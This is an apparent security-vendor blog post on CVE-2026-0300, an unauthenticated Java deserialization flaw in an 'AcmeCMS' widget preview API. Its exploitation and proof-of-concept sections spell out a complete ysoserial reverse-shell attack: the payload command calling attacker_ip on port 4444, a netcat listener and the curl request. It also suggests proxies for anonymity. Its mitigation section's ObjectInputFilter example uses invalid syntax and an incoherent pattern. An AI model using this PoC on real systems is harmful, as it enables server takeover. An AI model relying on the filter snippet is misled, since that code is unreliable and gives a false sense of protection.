Exploiting CVE-2026-0300: Unauthenticated RCE

Exploiting CVE-2026-0300: Unauthenticated RCE in AcmeCMS WidgetService

CVE-2026-0300 designates a critical unauthenticated Remote Code Execution (RCE) vulnerability residing within the `WidgetService` component of AcmeCMS, affecting versions 3.0.0 through 4.1.1. This flaw stems from an insecure deserialization vulnerability, specifically within the `/api/v1/widgets/preview` API endpoint, which processes user-supplied, base64-encoded serialized Java objects without adequate type filtering or validation. Successful exploitation allows an attacker to execute arbitrary code on the underlying server with the privileges of the AcmeCMS application, leading to complete system compromise without any prior authentication.

Vulnerability Description

The core of CVE-2026-0300 lies in the `AcmeCMS WidgetService`, a module responsible for rendering dynamic content widgets. The service exposes a RESTful API endpoint, `/api/v1/widgets/preview`, designed to allow administrators to preview widget configurations before deployment. This endpoint accepts a `config` parameter in the request body, which is expected to contain a base64-encoded Java serialized object representing a `WidgetConfiguration` class instance. However, the deserialization routine implemented by the service utilizes `java.io.ObjectInputStream` directly without employing a custom `ObjectInputFilter` or equivalent allow-listing mechanism. This critical oversight permits the deserialization of arbitrary Java classes, enabling attackers to leverage existing "gadget chains" present in the application's classpath to achieve RCE. The vulnerability's unauthenticated nature significantly escalates its severity. An attacker does not need legitimate credentials or any form of session to trigger the deserialization process. This makes the affected AcmeCMS instances direct targets for internet-wide scanning and exploitation. The ease of discovery and low technical barrier for exploitation position CVE-2026-0300 as a significant threat, analogous in impact to other critical unauthenticated vulnerabilities like those documented in our zero-day exploits guide.

Affected Versions

The vulnerability impacts a broad range of AcmeCMS deployments. Systems running the `WidgetService` component are particularly susceptible.

Product	Component	Vulnerable Versions	Patched Version
AcmeCMS	WidgetService	3.0.0 - 4.1.1	4.1.2

Technical Breakdown and Exploitation

The exploitation path for CVE-2026-0300 involves several key steps: identifying the vulnerable endpoint, crafting a malicious serialized object payload, and transmitting it to the target. 1. Endpoint Identification: The vulnerable endpoint is `/api/v1/widgets/preview`. This endpoint typically expects a `POST` request with a JSON body containing the `config` parameter.

{
    "config": "base64_encoded_java_object"
    }

2. Gadget Chain Selection: The success of deserialization RCE relies on the presence of specific libraries with "gadgets" in the application's classpath. For Java deserialization, common gadget chains are found in libraries such as Apache Commons Collections, Spring Framework, Groovy, and others. For AcmeCMS, analysis revealed that `Apache Commons Collections` versions 3.x and 4.x are often present due to transitive dependencies. Specifically, the `CommonsCollections6` gadget chain from `ysoserial` is highly effective against typical AcmeCMS deployments running Java 8 or earlier. 3. Payload Generation: The `ysoserial` tool is indispensable for generating malicious serialized Java objects. It automates the process of identifying and chaining gadgets to achieve various outcomes, including reverse shells, arbitrary command execution, and file writes. To generate a payload for a reverse shell, an attacker would typically use a command similar to the following:

java -jar ysoserial.jar CommonsCollections6 "bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" > payload.ser

This command instructs `ysoserial` to use the `CommonsCollections6` gadget chain to execute a bash reverse shell command. The output is a raw serialized Java object written to `payload.ser`. 4. Payload Encoding and Transmission: The raw serialized object (`payload.ser`) must then be base64-encoded, as the `/api/v1/widgets/preview` endpoint expects the `config` parameter in this format.

cat payload.ser | base64 -w 0

The resulting base64 string is then embedded into the JSON request body and sent to the target. For reconnaissance, tools like Zondex can be used to scan for exposed AcmeCMS instances and identify the presence of the `WidgetService` endpoint, facilitating targeted exploitation efforts. Researchers might also leverage a tool like GProxy to route their traffic through various proxies for anonymity during the initial probing and exploitation attempts.

Proof-of-Concept (PoC)

This PoC demonstrates how to obtain a reverse shell on a vulnerable AcmeCMS instance. Prerequisites: * `ysoserial.jar` * `netcat` (or similar listener) * A vulnerable AcmeCMS instance (IP: `target_ip`) * An attacker-controlled machine (IP: `attacker_ip`) 1. Set up a Netcat listener on the attacker machine:

nc -lvnp 4444

2. Generate the malicious serialized payload using `ysoserial`: Replace `attacker_ip` with your actual IP address.

java -jar ysoserial.jar CommonsCollections6 "bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" > /tmp/rce_payload.ser

3. Base64 encode the generated payload:

RCE_PAYLOAD_B64=$(cat /tmp/rce_payload.ser | base64 -w 0)

4. Send the crafted request to the vulnerable AcmeCMS instance using `curl`: Replace `target_ip` with the IP address of the vulnerable server.

curl -X POST "http://target_ip/api/v1/widgets/preview" \
    -H "Content-Type: application/json" \
    -d "{\"config\":\"${RCE_PAYLOAD_B64}\"}"

Upon successful execution of the `curl` command, the Netcat listener on the attacker machine should receive a reverse shell connection from the target AcmeCMS server. This effectively demonstrates unauthenticated remote code execution. The ability to bypass authentication entirely underscores the severity of this vulnerability, making it a prime target for attackers looking for broken authentication exploitation.

Detection and Monitoring

Detecting exploitation attempts for CVE-2026-0300 requires a multi-layered approach focusing on both network and host-based indicators. * Network Traffic Analysis: Look for `POST` requests to `/api/v1/widgets/preview` containing unusually long or malformed base64-encoded strings in the `config` parameter. Legitimate widget configurations are typically smaller and follow a predictable structure. The presence of Java serialized object headers (e.g., `AC ED 00 05`) within decoded `config` payloads is a strong indicator of malicious activity. * Endpoint Monitoring: Monitor process creation events on the AcmeCMS server. Unexpected shell processes (`bash`, `sh`, `cmd.exe`), `nc` (netcat), `curl`, or other command-line tools spawned by the application's user account are highly suspicious. * Application Logs: Scrutinize AcmeCMS application logs for deserialization errors or warnings related to the `WidgetService` that deviate from normal operation. While successful exploits might not always generate errors, failed attempts or partial deserialization could leave traces. * Security Information and Event Management (SIEM): Integrate logs from web servers, application servers, and host-based intrusion detection systems (HIDS) into a SIEM for centralized analysis and correlation. Custom rules can be created to alert on the patterns described above. * Attack Surface Management: Regularly scan and monitor your external attack surface using platforms like Secably. Identifying exposed AcmeCMS instances and their versions is crucial for proactive defense. Starting a free EASM scan can quickly reveal vulnerable assets before attackers do. The Secably EASM API can also be integrated into CI/CD pipelines for continuous security validation.

Mitigation Strategies

Immediate action is required to mitigate the risks posed by CVE-2026-0300. 1. Patch Immediately: The most effective mitigation is to upgrade AcmeCMS to version 4.1.2 or later. This version contains a patch that implements a robust `ObjectInputFilter` during deserialization, effectively blocking known gadget chains. 2. Deserialization Filters: For environments where immediate patching is not feasible, implement custom `ObjectInputFilter` mechanisms to restrict deserialization to only trusted classes. This involves creating a allow-list of permissible classes, preventing the instantiation of dangerous types like those from `Apache Commons Collections`.

// Example of a basic ObjectInputFilter (conceptual)
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "maxdepth=20;maxreferences=1000;maxbytes=10000;serialBlocklist=!java.util.HashMap;java.util.List;!org.apache.commons.collections.functors.InvokerTransformer;org.acmecms.widget.*"
    );
    ObjectInputStream ois = new ObjectInputStream(inputStream);
    ois.setObjectInputFilter(filter);
    Object obj = ois.readObject();

Note that implementing a secure deserialization filter is complex and requires deep understanding of application's legitimate serialization needs. 3. Input Validation and Sanitization: While not a primary defense against deserialization, robust input validation on the `config` parameter can help detect and block malformed or excessively large inputs that might indicate an attack attempt. 4. Least Privilege: Ensure that the AcmeCMS application runs with the minimum necessary privileges. This limits the potential impact of a successful RCE, preventing attackers from easily escalating privileges or accessing sensitive system resources. 5. Network Segmentation: Isolate AcmeCMS instances in a dedicated network segment, restricting direct internet access to the `/api/v1/widgets/preview` endpoint. Utilize reverse proxies or API gateways to expose only necessary functionalities and apply additional security layers. 6. Web Application Firewall (WAF): Deploy a WAF in front of AcmeCMS to detect and block requests containing known deserialization attack signatures. WAF rules can be configured to inspect the `config` parameter for suspicious base64-encoded patterns or decoded Java serialization magic bytes. 7. Security Audits: Conduct regular security audits of all custom components and third-party libraries used within AcmeCMS deployments to identify and address potential deserialization vulnerabilities proactively.